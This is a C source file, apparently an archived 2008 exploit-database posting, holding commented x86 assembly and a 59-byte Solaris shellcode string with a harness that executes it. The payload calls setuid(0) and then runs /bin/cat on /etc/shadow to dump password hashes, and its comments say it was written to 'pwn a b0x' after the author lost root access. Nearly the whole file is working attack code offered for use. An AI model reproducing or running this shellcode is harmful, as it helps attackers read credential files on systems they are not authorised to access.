73 lines
No EOL
1.3 KiB
C
73 lines
No EOL
1.3 KiB
C
/*
|
|
; sm4x 2008
|
|
; /bin/cat /etc/shadow
|
|
; 59 bytes
|
|
; SunOS sol01 5.11 snv_86 i86pc i386 i86pc Solaris
|
|
; (port to SunOS to pwn a b0x - thank god for that default __unix__ CRYPT_DEFAULT!!!!)
|
|
; this is what happens when ur work takes away root pirv on a SunOS box :-/
|
|
|
|
global _start
|
|
_start:
|
|
|
|
xor eax, eax
|
|
|
|
; --- setuid(0)
|
|
push eax
|
|
push eax
|
|
mov al, 0x17
|
|
int 0x91
|
|
|
|
; --- setup /etc/shadow
|
|
jmp short load_file
|
|
ok:
|
|
pop esi
|
|
|
|
; setup /bin/cat
|
|
push eax
|
|
push 0x7461632f
|
|
push 0x6e69622f
|
|
mov ebx, esp
|
|
|
|
; --- array setup
|
|
push eax ; null
|
|
push esi ; /etc/shadow
|
|
push ebx ; /bin/cat
|
|
mov edx, esp
|
|
|
|
; -- execve()
|
|
push eax ; 0
|
|
push edx ; array { "/bin/cat", "/etc/shadow", 0}
|
|
push ebx ; /bin/cat
|
|
mov al, 0x3b
|
|
push eax
|
|
int 0x91
|
|
|
|
; --- exit
|
|
inc eax
|
|
push eax
|
|
push eax
|
|
int 0x91
|
|
|
|
load_file:
|
|
call ok
|
|
db '/etc/shadow'
|
|
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
|
|
char code[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x91\xeb\x20"
|
|
"\x5e\x50\x68\x2f\x63\x61\x74\x68\x2f\x62"
|
|
"\x69\x6e\x89\xe3\x50\x56\x53\x89\xe2\x50"
|
|
"\x52\x53\xb0\x3b\x50\xcd\x91\x40\x50\x50"
|
|
"\xcd\x91\xe8\xdb\xff\xff\xff\x2f\x65\x74"
|
|
"\x63\x2f\x73\x68\x61\x64\x6f\x77";
|
|
|
|
int main(int argc, char **argv) {
|
|
int (*func)();
|
|
printf("Bytes: %d\n", sizeof(code));
|
|
func = (int (*)()) code;
|
|
(int)(*func)();
|
|
}
|
|
|
|
// milw0rm.com [2008-12-02]
|